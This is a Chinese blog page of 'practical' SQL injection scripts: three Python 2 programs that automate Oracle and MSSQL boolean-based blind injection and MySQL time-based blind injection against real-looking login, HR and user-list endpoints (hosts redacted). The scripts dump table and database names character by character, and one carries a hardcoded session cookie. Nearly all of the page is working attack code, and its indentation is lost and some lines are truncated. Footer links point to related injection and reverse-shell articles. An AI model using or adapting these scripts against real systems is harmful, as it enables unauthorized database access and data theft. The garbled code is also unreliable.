【实战】SQL注入小脚本
1、ORACLE布尔型盲注
import urllib
import urllib2
import requests
payloads = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
values={}
print 'Start to retrive database:'
database= ''
#需要先手工判断当前表名长度
for i in range(1, 21):
for payload in payloads:
try:
values['
values['
values['phoneNumber']="' or (select substr(table_name,%s,1) from user_tables where rownum=1)='%s' and '1'='1" % (str(i),str(payload))
data = urllib.urlencode(values)
url = "https://xxx.xxx.xxx.xxx/api/xxx/reg/action/xxx/appUserLogin.json"
req = urllib2.Request(url,data=data,headers=header)
resp = urllib2.urlopen(req).read()
#匹配关键字输出正确的数据库名
if "status" in resp:
database += payload
print 'the database is:'+ database
break
else:
print 'dumping database...'
except Exception,e:
print e
2、MSSQL布尔型盲注
import urllib
import urllib2
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_'
header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)','Cookie':'ASP.NET_SessionId=4vmyjpbw03vk2aq0q5mlbemy'}
values={}
print 'Start to retrive database:'
user= ''
length=[]
databases=[]
db=''
#注出数据库
def dump_db(i,j):
global db
for n in range(1,j+1):
for payload in payloads:
try:
values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and substring(name,{1},1)='{2}')=1--".format(i,n,payload)
data = urllib.urlencode(values)
url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx"
req = urllib2.Request(url,data=data,headers=header)
resp = urllib2.urlopen(req).read()
if "Robert" in resp:
db += payload
print db
if n == j:
databases.append(db)
db=''
break
else:
print 'dumping database...'
except Exception,e:
print e
#遍历判断数据库的长度,需要手工判断数据库个数
for i in range(1,19):
for j in range(1,16):
try:
values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and len(name)={1})=1--".format(i,j)
data = urllib.urlencode(values)
url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx"
req = urllib2.Request(url,data=data,headers=header)
#print req
resp = urllib2.urlopen(req).read()
#print resp
if "Robert" in resp:
print 'the length of DB_%s is %s' % (str(i),str(j))
dump_db(i,j)
#print 'the DB is: %s' % str(db)
length.append(j)
break
else:
print 'dumping length...'
except Exception,e:
print e
print '-------------------------'
for ddd in range(0,17):
print databases[ddd]
print '-------------------------'
3、MYSQL基于时间的盲注
import urllib
import urllib2
import time
payloads = 'abcdefghijklmn@_.opqrstuvwxyz0123456789'
header = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
values={}
print 'Start to retrive database:'
database= ''
for i in range(1, 6):
for payload in payloads:
try:
values['pageSize']=10
values['pageNum']=1
values['isAsc']='asc'
values['orderByColumn']="(select*from(select(if(ascii(mid(database(),%s,1))=%s,sleep(2),1)))a)" % (i,ord(payload))
data = urllib.urlencode(values)
url = "https://xxx.xxx.xxx/system/user/list"
t_s = time.time()
request = urllib2.Request(url,data,headers=header)
response = urllib2.urlopen(request,timeout=5)
t_e = time.time()
if((t_e-t_s)>2):
database += payload
print 'the database() is:\t' + database
time.sleep(2.0)
break
else:
print 'dumping......'
except:
pass
【实战】SQL注入小脚本的更多相关文章
- zabbix(sql注入判断脚本)
zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...
- Zabbix sql注入漏洞脚本执行反弹shell
exp检测是否存在SQL注入漏洞root@ubuntu:~# python zabbix.py http://ip:9090/+------------------------------------ ...
- 实战SQL注入
SQL注入是啥就不解释了.下面演示一个SQL注入的例子 SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找,这里用大名鼎鼎的sqlmap演示一个现成的案例. 1.漏洞试探 root@kali:~ ...
- python打造一个分析网站SQL注入的脚本
前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...
- python SQL注入测试脚本(更新中)
import requests import json import warnings warnings.filterwarnings("ignore") url = 'https ...
- sql注入小姿势
利用/*!union*/可以绕过对union的过滤
- SQL注入不简单?那是你没有懂它的原理~
我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- MySQL SQL 注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...
随机推荐
- ROS tf广播编写
博客参考:https://www.ncnynl.com/archives/201702/1310.html ROS与C++入门教程-tf-编写tf broadcaster(广播) 说明: 介绍如何广播 ...
- jenkins下载插件Git Parameter插件
登陆jekinse -> 点击左边菜单列表 -> 点”系统管理“ -> 下拉点”插件管理“ -> 选“可选插件”,在右上角过滤框输入”Git Parameter” -> ...
- Java编程实战宝典PDF (中文版带书签)
Java编程实战宝典PDF 目录 第1篇 Java基础知识入门第1章 Java的开发运行环境( 教学视频:57分钟)1.1 Java运行原理与Java虚拟机1.1.1 Java运行原理简述1.1.2 ...
- C# 子线程与主线程通讯方法一
最近在项目中要用到子线程运行结束向主线程通知的需求,利用线程上下文来实现线程之间的同步. 子线程结束后调用同步函数,向主线程发送时间字符串,改变主窗体的label标签 label标签改变事件触发处理函 ...
- vue-cli4.0 基于 antd-design-vue 二次封装发布到 npm 仓库
1. 安装 cli npm install -g @vue/cli vue create winyh-ui 2.安装 antd-design-vue cnpm i ant-design-vue --s ...
- 【JS新手教程】JS修改css样式的几种方法
本文试验了几种JS修改css样式的方法,方法1:元素.style.样式=样式值.方法2:元素.style.cssText=样式:样式值方法3:元素.style[样式]=样式值 .cssText这种,可 ...
- JS正则匹配邮箱格式
观察一些邮箱格式,有些邮箱格式简单,有些复杂,在网上找了个邮箱的正则表达式,分析一下邮箱的规则.该表达式:/^\w+([\.\-]\w+)*\@\w+([\.\-]\w+)*\.\w+$/ 拆分:[1 ...
- ovs 数据包的处理过程
Openvswitch的内核模块openvswitch.ko会在网卡上注册一个函数netdev_frame_hook,每当有网络包到达网卡的时候,这个函数就会被调用. static struct sk ...
- Ubuntu中Qt Creator无法启动调试
Ubuntu下安装Qt creator后无法启动调试,报错为Ptrace:Operation not permitted. 产生原因: 在Ubuntu 11.04("Natty Narwha ...
- Python 绘图库Matplotlib入门教程
0 简单介绍 Matplotlib是一个Python语言的2D绘图库,它支持各种平台,并且功能强大,能够轻易绘制出各种专业的图像. 1 安装 pip install matplotlib 2 入门代码 ...